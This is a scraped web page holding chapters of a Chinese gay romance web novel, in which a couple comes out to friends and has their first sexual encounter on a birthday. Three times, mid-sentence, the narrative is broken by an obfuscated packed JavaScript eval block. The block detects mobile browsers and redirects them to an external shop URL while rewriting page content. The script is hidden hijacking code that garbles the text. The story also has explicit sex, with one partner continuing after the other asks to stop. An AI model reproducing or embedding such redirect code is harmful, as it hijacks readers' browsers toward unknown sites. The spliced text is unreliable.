厉时修从酒店叫了餐,满满当当摆了一大桌。 今天是周六,明天不用上班上学,晚上可以放纵一点,桌上什么酒水饮料都有,几人理所当然地玩起行酒令,“五十十五”地喊了起来。 一伙人里有一半是性格外向的人,根本不用担心冷场,饭桌上的氛围十分火热。 柯向阳左手边坐着厉时修,右手边坐着乔梦书,碗里的菜越吃越多,乔梦书的眼神也越来越不对劲。 想想一会要干的事,柯向阳紧张得都开始打嗝了。 “吃饱了?”厉时修低声问道。 “没,就是有点……嗝……紧张。”桌上的菜大半都是柯向阳爱吃的,他还不想这么早结束战斗。 厉时修了然地勾起唇角,起身给他倒了一杯温水:“喝点水。” 乔梦书一把拉过柯向阳,眯着眼问:“你俩什么情况?” 柯向阳下意识地问:“什么什么情况?” “虽然你们之前相处就挺暧昧,但今晚格外不一样。”乔梦书满脸怀疑。 柯向阳由衷敬佩乔梦书在这方面的敏锐度,还没想好怎么说,乔梦书又被纪向松拖回行酒令的战局中。 吃饱喝足,几人自发收拾起桌子,厉时修轻飘飘甩出一句:“有件事想跟你们说一下。” “哦,你说。”许是他的语气太过随意,大家并没有当一回事,只是抽空给了个目光,随后,转向他的视线全部定格在那双十指紧扣的手上。 被酒精麻痹的大脑在接受信息时发生了延迟,此刻他们还没意识到问题所在。 程嘉弘醉眼朦胧地说:“你俩感情是不是好过头了?怎么还手牵手啊?” 乔梦书皱着眉头,眼中的酒意渐渐消退,随后捂着嘴瞪大双眼。 柯向阳在乔梦书震惊的目光中笑着点点头。 上次他和厉时修认真讨论过,两人本想找个时间请大家吃饭,然后公开他们的关系,正好厉时谦要搞乔迁宴,就决定借着这顿饭公开了。 厉时修举起两人交握的手,宣布:“我和小柯在一起了。” 怕自己说得不够清楚,他又补充了一句:“我们现在是恋爱关系。” 短暂的沉默过后,客厅里响起“草”声一片。 34. 礼物 众人的酒一下全醒了。 从未见过如此强效的醒酒良药。 纪向松指着厉时修,“你”了半天,终于说出一句完整的话:“你是同性恋?!” 不等厉时修回答,他的手指转向柯向阳:“不对,你俩都是同性恋?!” 这句话是除了乔梦书和乔梦瑶之外,在场所有人的疑问。 程嘉弘从短暂的愣神中恢复过来,这个消息看似炸裂,实际上在他看来却莫名合理,好像这两人天生就该在一起一样,所以他很快便接受了。 厉时谦露出一副恍然大悟的模样,先前厉时修对柯向阳所表现出的种种异常态度一下有了合理解释,又想到自己搬过来的原因,仿佛遭到背叛般愤怒地说:“难怪你要把我赶走,因为我影响了你们的二人世界是吧?” 厉时修不忘提醒:“对了,这件事先不要跟家里说。” 厉时谦恨恨道:“有了对象忘了兄弟,你们俩也太不讲义气了!” 江景意看向柯向阳的目光充满哀怨,难怪厉时修要给他批租房补贴,敢情是把他的合租室友泡到手了。本以为和自己同属一个阶层的柯向阳如今摇身一变成为上司的对象,他之前那些关于身份差距的想法彻底变成一个笑话,还好没有说出来。 原本还在讨论饭后要玩什么娱乐项目的几人此刻满心满眼只有两个字——八卦。 “我就说你们看着像一对。”乔梦瑶笑咪咪地开口,脸上全是对自己第六感准确率的满意。 乔梦书直切重点:“快说说你们怎么在一起的?谁先告的白?” “我吧?”柯向阳不确定地说,在他的认知里,告白是要明确说出“我喜欢你”这四个字的。 厉时修却不这么认为,他看向柯向阳,露出一个在大家看来温柔得近乎恐怖的笑容:“是我。” “突然不是很想听了。”乔梦书感觉自己的牙有点酸。 其他人动作一致地点点头。 “你小子,明明是个gay,干嘛老是一副怕被人误会的样子啊?天天要我跟你保持距离,搞得我以为你恐同。”纪向松狠狠锤了厉时修一拳。 “有没有可能人家只是单纯地嫌弃你?”乔梦书好心给出理由。 见厉时修没有反驳的意思,纪向松怒了:“我靠!就算老子是gay,也不会喜欢你这款好吗?我肯定是纯1!” 话题突然跑偏到体位上,几个单身汉争得热火朝天,对于柯向阳和厉时修是同性恋一事,从一开始的惊讶到后面的好奇,没有表现出一丝一毫的嫌恶与鄙视,最后共同举杯祝福两人。 柯向阳望着围坐一桌笑容真诚的众人,没想到自己在不知不觉间有了这么多好朋友。 身侧的手被握紧了两分,他笑着与厉时修碰了杯,现在,他还拥有了属于自己的爱人。 人生似乎在这一刻达到圆满。 因着柯向阳和厉时修公开恋爱关系的劲爆消息,几人兴奋得又开了几瓶酒。 厉时修被纪向松和厉时谦拉着灌酒,看他那副来者不拒的样子,连江景意都大着胆子加入到灌酒的行列。 乔梦书趁机将柯向阳拉到一边说小话,只见他笑得意味深长,问:“感觉怎么样?” 柯向阳单纯地回答:“很开心啊。” “啧,我问的是在床上的感觉怎么样?”乔梦书白了他一眼。 柯向阳老脸一红,他倒是想跟乔梦书讨论一下这个话题,可他现在讨论不了。 “你俩不会还没上床吧?”乔梦书脸上的惊讶比起刚刚听到他们在一起时更甚,“不是都交往一个星期了吗?!” “嘘!”柯向阳捂住乔梦书的嘴,“没到一个星期,才五天呢。” “整整五天了!”乔梦书扒开柯向阳的收,像是见鬼似的:“厉时修不会是不行吧?” “怎么可能?”柯向阳至今仍记得那次在浴室里的互相帮助,那一柱擎天的状态要是叫做不行,他真不知道什么才叫行了。 “难道是你不行?”乔梦书疑惑了,“可你也不需要行啊,你选个喜欢的姿势躺好或者趴好就可以了。” “好了,别说了,这根本不是行不行的事!”柯向阳觉得自己对乔梦书的下限认知还是太肤浅了。 “等等,你们俩不会撞号了吧?”乔梦书瞪大双眼,“不应该啊,他……” “算我求你了,快闭嘴吧!”眼见厉时修自己这边走来,柯向阳连忙往乔梦书嘴里塞了一块水果。 厉时修被灌了不少酒,难得露出些许醉意,看柯向阳和乔梦书聊得忘我,心中醋意翻涌,坐在柯向阳身边一把搂住他的腰,宣誓主权。 乔梦书哼笑一声:“哟,之前没见你醋性这么大啊。” 厉时修认真回答:“之前没有立场吃醋,现在有了。” 柯向阳没想到他会这么直接,心中暗喜。 “话是这么说没错,但从你口中说出来真是怪恶心的。”乔梦书抖了一地的鸡皮疙瘩,赶紧起身离开这个随时会被塞狗粮的角落。 “喝了多少啊?难受吗?”柯向阳摸摸厉时修的脸,有些发烫。 “有点晕。”厉时修将头搁在柯向阳的肩膀,感觉呼吸间全是酒气,默默退远了些。 “我去给你倒杯水。”柯向阳想要起身。 “不用,你陪我坐一会。”厉时修拉住柯向阳的手不让他走。 这一坐就坐到了散场。 厉时谦想让大家留宿,喝多了的他大着舌头,连话都说不清楚,被无视得很彻底。 纪向松叫了自家司机把乔梦书一行人顺路捎走,江景意则跟着厉时修的车回去。 望着一下变得空荡荡的房子,厉时谦差点哇地一声哭出来。 * 柯向阳晚上喝得不多,到家简单洗漱过后,又帮厉时修收拾了一下,给他喂下一杯蜂蜜水。 “辛苦了,快上来。”厉时修拍拍身侧,发出邀约。 “这算什么辛苦,之前你也是这么照顾我的呀。”柯向阳钻进厉时修怀里,满足地摸着熟悉的胸肌。 “我喜欢照顾你。”厉时修亲亲柯向阳的额头,一下一下拍着他的背。 两人一起躺在床上,享受着专属于他们的独处时光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171855|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>厉时修突然郑重其事地对柯向阳说:“现在你是有男朋友的人了,以后要跟其他异性同性都保持正常的社交距离,相对的,我也会用同样的标准要求自己。” 其实柯向阳除了厉时修,就只和乔梦书比较亲密一点,于是他问:“跟乔乔那样算不正常吗?” 厉时修顿了顿,他很想说不正常,可他不能剥夺柯向阳交朋友的自由:“不算,但不能比现在更亲密了。” 柯向阳点点头:“知道啦。” “如果我做了什么让你不高兴的事,你也要告诉我,不要憋在心里。”厉时修觉得比起自己,柯向阳的性子更容易钻牛角尖,有必要提前敲打一下。 “嗯。”柯向阳枕着厉时修的手臂,想起乔梦书晚上说的那些话,脸上不由一阵滚烫。 他们确定关系后相处模式比起之前是要亲密许多,但仅限于亲亲抱抱,并没有更进一步的行为,难道厉时修都没有那方面的想法吗?要不要趁现在问问厉时修呢? 可是今晚他喝了那么多酒,就算想干什么只怕也是有心无力,还是等明天再问吧。 周天晚上,躺在床上的柯向阳想到第二天是周一,要上班了,时机不对,下次吧。 好不容易等到周五,厉时修因为一个紧急会议加班到半夜,等他回房,柯向阳已经睡着了。 隔天早上,睁开眼的柯向阳盯着天花板发了半小时的呆,重重叹了一口气,他和厉时修不会是要谈一辈子柏拉图式的恋爱吧? * 得知两人纯洁的恋爱关系又持续了一周,乔梦书彻底无语:“你俩没事吧?在一起前都这样那样了,在一起之后每天晚上就只是单纯地抱在一起睡觉?” 柯向阳也很苦恼,可他面对厉时修实在开不了口。 乔梦书的白眼要翻到天上去了:“到底能不能行了?算我求你了,你们赶紧去做、爱吧。” “嘘!”柯向阳只想捂住乔梦书的嘴,“你不能说得委婉点吗?” 乔梦书:“哦,算我求你们了,你们赶紧去共赴云雨吧。” 柯向阳:“……” 乔梦书:“你不是在想要送他什么生日礼物吗?我建议你马上把自己打包送给他,让他吃干抹净。” “他真的会喜欢这种礼物吗?”柯向阳认真考虑起来。 “只要他不是阳痿,我保证他会喜欢的。”乔梦书简直要被这两人给急死,之前没在一起的时候急,现在在一起了更急。 “不能光送这个吧,总得再买点什么。”柯向阳今天找乔梦书出来,主要就是为了讨论一周后厉时修的生日要送什么礼物,这是两人交往后的第一个重要日子,他想送点有意义的东西。 “他什么都不缺,比起贵的东西,肯定是心意更重要啊,你等等,我给你发一下我珍藏的龙阳十八式,你好好学学,到时候让他爽得不知天地为何物,就是最好的礼物了。”乔梦书掏出手机一顿操作。 柯向阳:“……” 手机里不断传来接收文件的提醒,柯向阳点开一看,立刻息屏捂住手机。 怎会有如此淫、乱之事? 35. 准备 乔梦书盯着柯向阳如同猴屁股一般的脸,突然笑得意味深长:“这么说起来,你们俩都是处男啊,第一次是得多下点功夫,不能光学姿势,你还得学会做事前准备。” “事前准备?”柯向阳思索了一下,压低声音道:“哦,你是说……那个啊。” 乔梦书故作惊讶:“哎哟,你知道啊?” “这点常识我还是有的好吧。”柯向阳嘟囔。 乔梦书又问:“那你买好工具了吗?” 柯向阳老实地摇摇头:“没有。” 乔梦书斜了他一眼:“工具都没有,到时候你是要用花洒水管做准备吗?” “……”柯向阳想想那个画面,雷得打了个哆嗦。 乔梦书:“我那正好有一套,你先拿去用吧。” 柯向阳顿时满脸惊恐:“我不要用你用过的啊!” “神经啊,是全新的啦!”乔梦书骂道,“你不嫌恶心我还嫌恶心呢。” “哦。” 柯向阳跟着乔梦书去了他家,两人躲在房间里翻箱倒柜。 “你不是说你妈经常帮你收拾房间吗?你那些东西不怕被她看见啊?”柯向阳不敢想乔梦书的那些变态玩意要是被他妈发现得有多社死。 “用过的那些早丢掉了,这套是后来买的,连快递盒都没来得及拆就分手了,我妈不会随便拆我快递的。”乔梦书没拆的快递一大堆,那种东西又是保密发货,光看快递盒他根本不记得是哪个,只能一个一个拆开看。 “我怀疑你就是找我来帮你拆快递的。”柯向阳拆出几个盲盒手办,“这款你是不是有好几个了?” “草,又是重复的!”乔梦书气得摔盒子。 一地的快递盒子堆积,简直成了糯米和年糕的天堂,两只小猫在纸箱间钻来钻去,开心得直打呼。 等找出那套工具,乔梦书积攒的快递也拆得差不多了,柯向阳感觉自己真是吃饱撑的,有这功夫,不如直接去药店买一套。 乔梦书给柯向阳传授了一系列的操作经验和感受,忽略对话内容,光看两人认真严肃的表情,还以为是在进行什么学术交流。 “大概就是这些了,到时候你要是遇到什么问题随时联系我。”乔梦书说得嘴巴渴,起身出去拿喝的。 柯向阳一副虚心受教的模样,趁着这劲头,点开刚刚接收的那些文件进行另一方面的学习。 正用着功,乔梦书丢在床上的手机响了起来,柯向阳瞥了一眼,朝客厅喊道:“乔乔,电话!” 乔梦书大声回应:“我在厕所,你认识的话帮我接一下,不认识就别管了。” 柯向阳看到屏幕上的名字,虽然认识,但不算熟,该不该接呢? 犹豫了会,他按下接听键:“喂,你好。” 对面明显愣了一下,随后带着丝敌意的冷冽男声传来:“你是谁?乔哥呢?” 柯向阳不知道对方记不记得自己,礼貌地做了个自我介绍:“我是柯向阳,乔乔在厕所,你找他有什么事吗?” “柯……学长?”对面略微迟疑地唤了声。 柯向阳:“嗯,是我。” 齐朔的语气一下变得轻松起来:“不好意思啊学长,我还以为是别人,你们……是在外面吗?” 柯向阳觉得齐朔的态度有些奇怪,又说不上来哪里奇怪,如实道:“没有,我在乔乔家里,你有什么事呀?我帮你转告他。” 齐朔:“没什么重要的事,你一会让乔哥给我回个电话吧,打扰了,学长再见。” 挂断电话的柯向阳一头雾水,听齐朔的语气,跟乔梦书好像关系不错的样子?可他是徐佑的好朋友,乔梦书不尴尬吗? 从厕所回来的乔梦书得知是齐朔的电话,脸色一时变得有些古怪:“他有说什么事吗?” “没说,只让你给他回电话,你俩怎么回事啊?有情况?”柯向阳随口一问,没想到乔梦书直接承认了。 “他好像对我有意思。”乔梦书皱着眉头,“之前徐佑要去我们公司堵我,也是他给我通风报信,我后来请他吃了顿饭,结果好像就被缠上了。” 柯向阳:“?” “不过他没挑明,我只能装不知道了。”乔梦书极少露出这种纠结的表情。 “难怪,刚刚我接电话的时候,他听到不是你的声音好像特别不爽,我就说哪里不对劲,原来是吃醋了!”柯向阳突然之间吃到一个大瓜,感觉都变得敏锐起来,“可他不是徐佑的好兄弟吗?” “对啊,所以我对他根本没想法,只是他没做什么讨人厌的事,还帮过我,伸手不打笑脸人嘛,等他这股新鲜劲过去应该就好了。”乔梦书乐观地想。 “不愧是好兄弟啊,口味出奇地一致。”柯向阳难得逮到机会打趣乔梦书,“徐佑知道了不得气死啊?” “我管他气不气。”要不是知道齐朔的背景也不简单,乔梦书说不定真会跟他在一起气气徐佑,可是现在他不想再惹上那种人了。 柯向阳忍不住笑道:“你的桃花运还是那么旺,真是宝刀未老。” “哪比得上你这纯情处男,好不容易脱单了,结果居然破不了处。”乔梦书毫不留情地回怼。 两人嘻嘻哈哈拌了一通嘴,眼见时间不早了,柯向阳提着从乔梦书那获得的道具回了家。 在书房加班的厉时修听见动静,立即迎了出来,淡淡地开口:“这么早就回来了,还以为你要在外面吃饭。” “哪能丢下你一个人在外面吃饭。”柯向阳讨好地笑笑,“晚上想吃什么?我去做。” “随便,你做什么我吃什么。”厉时修俯身抱住柯向阳,疲惫地趴在他的颈窝。 见他一脸疲态,柯向阳有些心疼:“明明是周末,怎么还有那么多工作?早知道我在家帮你了。” 厉时修嗅着熟悉的味道,身上的疲惫一扫而空:“我努力工作就是为了让你过好日子的。” 柯向阳感动坏了。 不过这份感动只持续了一个短暂的周末。 周一上午,因为一个工作上的失误被厉时修严厉批评的柯向阳在午休时头也不回地冲到茶水间,义无反顾加入了吐槽小队。 * 厉时修的生日在这周六,原本一直头疼送什么礼物的柯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171856|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向阳在看见厉时修因为加班久坐而满脸疲惫时,心头一亮,瞬间有了想法。 至于乔梦书建议的另一种形式的礼物,柯向阳暂时只做好了理论知识的准备。 他和厉时修每天形影不离,根本没机会单独实践事前的准备工作,乔梦书送他的工具至今还在床头柜的抽屉里好好藏着。 接到柯向阳的电话求救,乔梦书恨铁不成钢道:“你真是没用啊,洗澡的时候不能试一下吗?” “洗澡……我们、那个……”柯向阳扭扭捏捏地把话说完。 乔梦书的声音一下提高八度:“所以你俩天天一起洗澡却还没有做过爱吗?” 柯向阳也很奇怪,明明厉时修每次反应都很强烈,但就是没有做到最后。 他的手上功夫都要练得炉火纯青了! 乔梦书无奈:“那你趁拉屎的时候试试呢?” “我在厕所待太久的话,他会来问我什么情况的,怕我长痔疮。”柯向阳以前蹲坑总喜欢长时间刷手机,厉时修为了纠正他这个坏毛病,同居后一直严格监督他上大号的时间,如今他拉屎神速,突然在厕所待久了更容易引起怀疑。 “……”乔梦书觉得自己吃到了一口有味道的狗粮。 柯向阳重重地叹了口气。 “你不能拒绝他一次说你想自己洗澡吗?不然就出去开个钟点房,或者到时候让他提枪直接上,你自己选吧。” 被乔梦书无情地挂断电话,柯向阳流下两条宽面条泪,决定今晚一定要坚决一点,一个人洗澡。 “为什么?”厉时修光着上半身,眼里满是无法理解。 “……”现在连一个人洗澡都需要理由了吗? 见柯向阳没有回答,厉时修不再废话,直接吻了上去,两人一路吻进浴室,打开淋浴头。 漫长的水声结束,柯向阳抖着两条腿走出浴室,好吧,他放弃了,只动手的生活就够他受的了。 躺在床上,柯向阳想到齐朔的事,跟厉时修提了一嘴,问他:“齐朔家也很有钱吗?” 厉时修摸着柯向阳光裸的后背,心猿意马地“嗯”了一声。 柯向阳顿时好奇起来:“跟徐佑家比呢?” 厉时修想了想:“差不多吧。” 柯向阳:“那跟你们家比呢?” 厉时修似是笑了一声:“不值一提。” 柯向阳放心了,在他看来,谁更有钱就更有话语权,这样的话,不管是徐家还是齐家想找乔梦书的麻烦,都有厉时修可以兜底。 关于生日,厉时修原本的计划是只和柯向阳在家过的,可是纪向松和厉时谦非要他请客吃大餐。 “那请他们吃午饭吧,晚上我们回来可以再过一次。”柯向阳倒是希望生日能过得热闹一点,大家一起唱生日歌才更有气氛。 “好,听你的。”在厉时修看来,他们只是单纯地想蹭顿饭,连礼物都不会准备,谁让柯向阳喜欢呢? 柯向阳搂住厉时修的脖子,开心道:“真好,今年的生日终于可以一起过了。” 厉时修低头吻了吻他的唇:“以后年年都能一起过。” 36. 生日 前几年厉时修远在英国,他的生日柯向阳最多在手机里发送一条祝福,礼物也只能等他回国的时候再交给他。 倒是柯向阳的生日,厉时修都会尽量抽空回来,至少陪他吃一顿饭。 那个时候柯向阳只一味感动,庆幸两人的友谊没有因为上万公里的距离而产生裂痕,根本没想过厉时修会喜欢自己。 “要是早点知道就好了。”柯向阳不止一次这么感叹过,总觉得他们白白浪费许多年的时光,要是中途任何一方选择放弃,然后和别人在一起……真是想想都令人遗憾。 “现在也不晚,除了你,我没打算和别人在一起。”厉时修却是这么对他说的。 与柯向阳的想法不谋而合,他实在想象不到自己喜欢上除厉时修以外的人是什么场景,不能跟厉时修在一起,他大概会选择一个人过一辈子吧。 由此可见,两人的许多观念都相当默契,这何尝不算是一种命中注定呢? 每每想到这,柯向阳对厉时修的喜欢便会表现得格外明显。 “怎么又撒娇?”厉时修宠溺地看着怀里拱来拱去的脑袋,感觉身体内的火都要被拱出来了。 “我觉得自己现在好幸福啊。”柯向阳抬起头,眼睛里如同藏着星星般闪闪发亮,嘴巴还在喋喋不休地细数自己的幸福感从何而来。 可爱,想亲。厉时修眸光深沉,俯身吻住柯向阳那两瓣开开合合的嘴唇。 今时不同往日,他不需要再忍耐,想亲就能亲。 * “生日快乐!” 在一声声祝福中,被迫戴上生日皇冠的厉时修闭眼许下心愿,随后吹灭蜡烛。 “许了什么愿啊?”纪向松好奇地问。 “说出来就不灵了。”柯向阳将蛋糕上的蜡烛取下,“切蛋糕吧。” 乔梦书一脸了然:“不用说也知道,肯定跟小柯有关。” 柯向阳笑了笑,帮着厉时修切蛋糕,这蛋糕是纪向松餐厅里的甜品师傅做的,正常卖个切片一份都得两三百。 “也是沾光吃到了你们餐厅的甜品了。”乔梦书尝了一口,给予了高度评价。 “你要是喜欢直接来我店里吃,肯定给你优惠价。”纪向松大手一挥,他自己对甜品没什么兴趣,但找厨师的眼光却极其毒辣,他们餐厅的甜品已经荣登鹤水市甜品必吃榜前三了,要不是价格太贵,成为第一那是轻轻松松。 “好好好,等我再攒点钱,一定去你店里消费一次。”乔梦书敷衍地回答。 纪向松不满:“吃顿饭还要攒钱,哪有那么贵?搞得我像开黑店的。” 乔梦书摇摇头:“真是不食人间烟火的大少爷,知不知道我们普通老百姓一个月工资才几千块啊!” “就是就是。”江景意和程嘉弘点头附和。 “你少来,别以为我不知道你的工资是以‘万’为单位的。”纪向松不了解别人,对江景意的薪资水平还是清楚的。 “什么?江哥你工资这么高吗?你还骗我说只比我高一点点!”厉时谦像是受到背刺,转头怒视江景意。 江景意狡辩:“主要是我开销大,又要租房,算下来是跟你差不了多少嘛。” “我记得有给你租房补贴?”厉时修适时提醒。 江景意:“……” 几人吵吵闹闹,最后演变成要纪向松免费招待他们一顿。 厉时谦趁机提议:“还是纪哥大方,择日不如撞日,就今晚吧?” 纪向松稀里糊涂地答应下来,总觉得哪里不对劲,不是他来蹭厉时修的生日大餐吗?怎么又变成他请客了? * 午饭结束,厉时修和柯向阳手拉着手回去过二人世界。 到家时,柯向阳定的礼物正好送货上门,是一台他精挑细选的按摩椅。 虽然有点贵,但实用性强,可以很大程度地增加生活幸福感,当礼物再合适不过了。 等按摩椅在客厅摆好,柯向阳立刻拉着厉时修躺上去试用了下:“感觉怎么样?” 厉时修坐起身:“很舒服,怎么想到要买按摩椅的?” “上次看你加班那么累,我想家里要是有台按摩椅会方便很多,以后累了随时可以躺下按按摩,多好啊。”柯向阳满意地点点头,被厉时修一把拉到怀里坐下,转头看到厉时修一脸若有所思的样子,不由有些担心:“怎么了?不喜欢吗?” “喜欢,很喜欢,只是太大了,不好收藏。”厉时修状似苦恼。 柯向阳满头问号:“为什么要收藏啊?” 厉时修理所当然地说:“你送的礼物,当然要好好收藏起来,不然用坏了怎么办?” “东西买来不就是拿来用的吗”柯向阳越来越迷惑,“难道我以前送你的礼物你也全部收藏起来了?” “对啊。”厉时修从身后环住柯向阳,“舍不得用。” 柯向阳简直哭笑不得,既感动又无奈:“不要舍不得,用坏了我会再给你买,放着不用才可惜。” 厉时修貌似妥协地“嗯”了声。 下午,柯向阳独自在厨房准备晚餐,不许厉时修帮忙,也不许他偷看。 厉时修落寞地坐在按摩椅上,任由几只小猫把他当成猫爬架上蹿下跳。 小乖歪头看向这位略显冷酷的爸爸,似乎是觉得他怪可怜的,转身叼来自己的玩具逗猫棒朝他晃了晃。 厉时修只当是它想玩了,接过逗猫棒,面无表情地逗弄起小乖。 清脆的铃铛声回荡在客厅,柯向阳从厨房探出脑袋,看到厉时修与小乖父慈女孝的场景,不由弯起嘴角。 夜幕降临。 躺在按摩椅上不知不觉睡着的厉时修缓缓睁开双眼,客厅留了一盏暖黄色的壁灯,柔和的灯光没有那么刺眼,让他的眼睛适应良好。 身上披着一块毯子,应该是柯向阳帮他盖上的。 厨房里没有柯向阳的身影,只有保温柜里放着做好的饭菜。 厉时修正想往房间寻人,就见柯向阳换了一套衣服出来,像刚洗过澡。 “你醒啦,我看你睡得很沉,就没叫你。”柯向阳笑了笑,“现在吃饭吗?” “好。”厉时修点点头,“怎么去洗澡了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171857|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“刚刚身上弄脏了,想趁你睡着先洗洗。”柯向阳的脸上浮现出两抹淡淡的红晕,在昏暗灯光下并不明显。 厉时修不疑有他,帮着把保温柜里的菜端上桌。 柯向阳不好意思地说:“本来想试试烤牛排的,火候掌握不好,只做了几道家常菜,你别嫌弃哦。” 厉时修在他脸上轻轻一吻:“不嫌弃,都是我喜欢的,辛苦了。” “一点儿也不辛苦。”柯向阳把人推出厨房,转身又下了一碗面。 厉时修望着面前多出来的一碗长寿面,笑道:“早上不是吃过了吗?是想让我多长寿啊?” “当然是越长寿越好,最好活成一个老妖怪。”柯向阳嘿嘿一笑。 厉时修:“那你也得跟我一起变成老妖怪。” 两人边聊边吃,柯向阳明显有些心不在焉,最后不打算喝酒的他还是开了一瓶红酒。 柯向阳想给自己壮胆,又怕喝多了影响接下来的计划,倒了两杯酒便把瓶口塞好放回酒柜。 厉时修不解:“想喝就喝,反正明天休息,不用担心喝多。” “不是想喝酒,我只是有点紧张。”柯向阳将杯中的酒一饮而尽。 厉时修:“紧张什么?” “我还有个礼物想送给你,不对,也算不上礼物,就是、我们都在一起这么久了,还没有……过。”柯向阳的脸越来越红,声音也越来越小。 “没有什么?”厉时修将耳朵凑近,想要听清他说的话。 “没有做过、情侣间都会做的、在床上的事。”柯向阳垂着头,他不想因为这种小事产生奇怪的猜想,陷入内耗,他很确定厉时修是喜欢他的,不可能对他没兴趣,所以这次他要主动一点,不能再一直等着厉时修行动了。 厉时修终于反应过来,喉结不自觉地上下滚动。 “刚刚洗澡的时候,我已经清理过了,其他东西也准备好了,我们、我们……”柯向阳抬眼看向厉时修,却见他突然低头两口吃完碗里的面,随后猛地起身。 厉时修:“等我一会。” 柯向阳:“?” 不到十分钟,厉时修带着一身水汽从房间出来,将柯向阳打横抱起。 “等等,我还做了蛋糕……”铺天盖地的吻将柯向阳彻底淹没,衣服被快速剥离,他躺在床上浑身发热。 “晚点再吃。”与急切的吻不同,厉时修手上的动作要温柔许多,耐心又细致地帮柯向阳做准备工作,没有一点生涩。 柯向阳突然想到,厉时修或许也像他一样,提前做了许多功课。 最初的胀痛过后,奇异的感觉蔓延全身。 厉时修一遍遍呼唤柯向阳的名字,要他直视自己的眼睛,不放过他的任何表情,反复确认他的一切反应都是因自己而起。 柯向阳死死搂住厉时修的脖子,眼角的泪水接连不断地流下,在听见那句低语时,身体控制不住剧烈颤抖。 厉时修对他说:“柯向阳,我爱你。” 柯向阳抬手抚摸他的头发,带着哭腔热切回应: “厉时修,我也爱你。” 37. 节制 卧室门前,没来得及被关回猫屋的几只小猫在门口来回踱步。 面包挺着肥嘟嘟的肚子趴在门上,用爪子抓出几道声响,没有得到回应,又冲着紧闭的房门“喵喵”叫了两声,似乎对里面明明一直有声音却没人理它这件事十分不理解。 牛奶见状跟着叫了起来,两只小猫的叫声越发急促,芝麻更是一个飞跃想要去够门把手,跳了几次也没成功。 小乖端坐在一旁舔爪子,耳朵一动,听见了两位主人的说话声。 “猫还在……外面……先……回去……” “等会就去。” “呜……别做了……” 房间里的动静持续了几个小时,那道带着哭腔的声音都变哑了。 夜深,几只小猫挤作一团趴在门口睡得正香,小乖忽然抖着耳朵抬起头,怀里的猫崽全部惊醒,齐刷刷看向房门。 没一会,厉时修赤裸着上半身走出来,把四只猫送回猫屋,在猫碗里加了点冻干。 “喵喵”叫着质问的小猫们马上将被主人无视一事抛之脑后,纷纷把脸埋进碗里。 厉时修关好猫屋的门,走到厨房打开冰箱,从里面拿出柯向阳做的四寸奶油蛋糕回了卧室。 床沿边,一只手臂无力垂下,柯向阳眼神失焦地趴在枕头上,厉时修扶起他喂了两口水,挖下一勺蛋糕哄道:“来,吃蛋糕了。” 柯向阳有些抗拒地推开厉时修的手,没想到那句“晚点再吃”是认真的,可他现在一点也不想吃蛋糕。 “不吃怎么恢复体力?等会要饿晕了。”厉时修不依不饶地将蛋糕喂到柯向阳嘴边。 柯向阳眨眨眼,恢复体力?他直接睡觉不就能恢复体力了吗?为什么会饿晕? 厉时修露出一个尚未餍足的笑容:“你不会以为已经结束了吧?” “我累了……”柯向阳挣扎着想从厉时修怀里逃走,却被腰间的手紧紧箍住无法动弹。 厉时修:“所以才让你补充一下能量,哪有送礼物只送一半的?乖,张嘴。” 柯向阳两眼含泪,摇了摇头,这礼物明明都送好久了怎么说才一半呢? 厉时修的眸光越发深沉:“要我用嘴喂你吗?” 柯向阳欲哭无泪,乖乖吃起蛋糕,嗯,还挺好吃的,这是他第一次做蛋糕呢。 厉时修显然也是一样的想法:“第一次就做得这么好,真棒。” “你喜欢的话,以后我常做给你吃。”柯向阳心中升起一抹小得意,只是这份得意并未持续多久,突然感到胸前一凉,是厉时修将奶油抹在他的身上,不由惊呼:“你干什么啊?” 厉时修勾起嘴角:“换一种方式吃蛋糕。” 下一秒,冰凉的触感被温热的口腔取代,引发他的阵阵颤栗:“别这样,好浪费啊。” “不浪费,我会一点不剩,全部吃干净的。”厉时修舔舔嘴角,用沾满奶油的手指探进柯向阳口中,“你也一起吃。” 此刻,柯向阳感觉自己好像变成一块真正的蛋糕,正在被厉时修尽情享用。 没一会,卧室里的动静又响了起来。 * 所谓日过一日,便要日复一日。 厉时修想要严格遵守这个准则,遭到柯向阳的强烈抗议。 才过完25岁生日的男人正是血气方刚的年纪,虽然已经很克制了,但对柯向阳来说还是太过频繁。 那个按摩椅倒是派上用场了,天天给柯向阳按腰用。 “你这按摩椅送得不错啊,我觉得你很快就能用回本了。”乔梦书躺上去试用了下,想着给他爸妈也买一个。 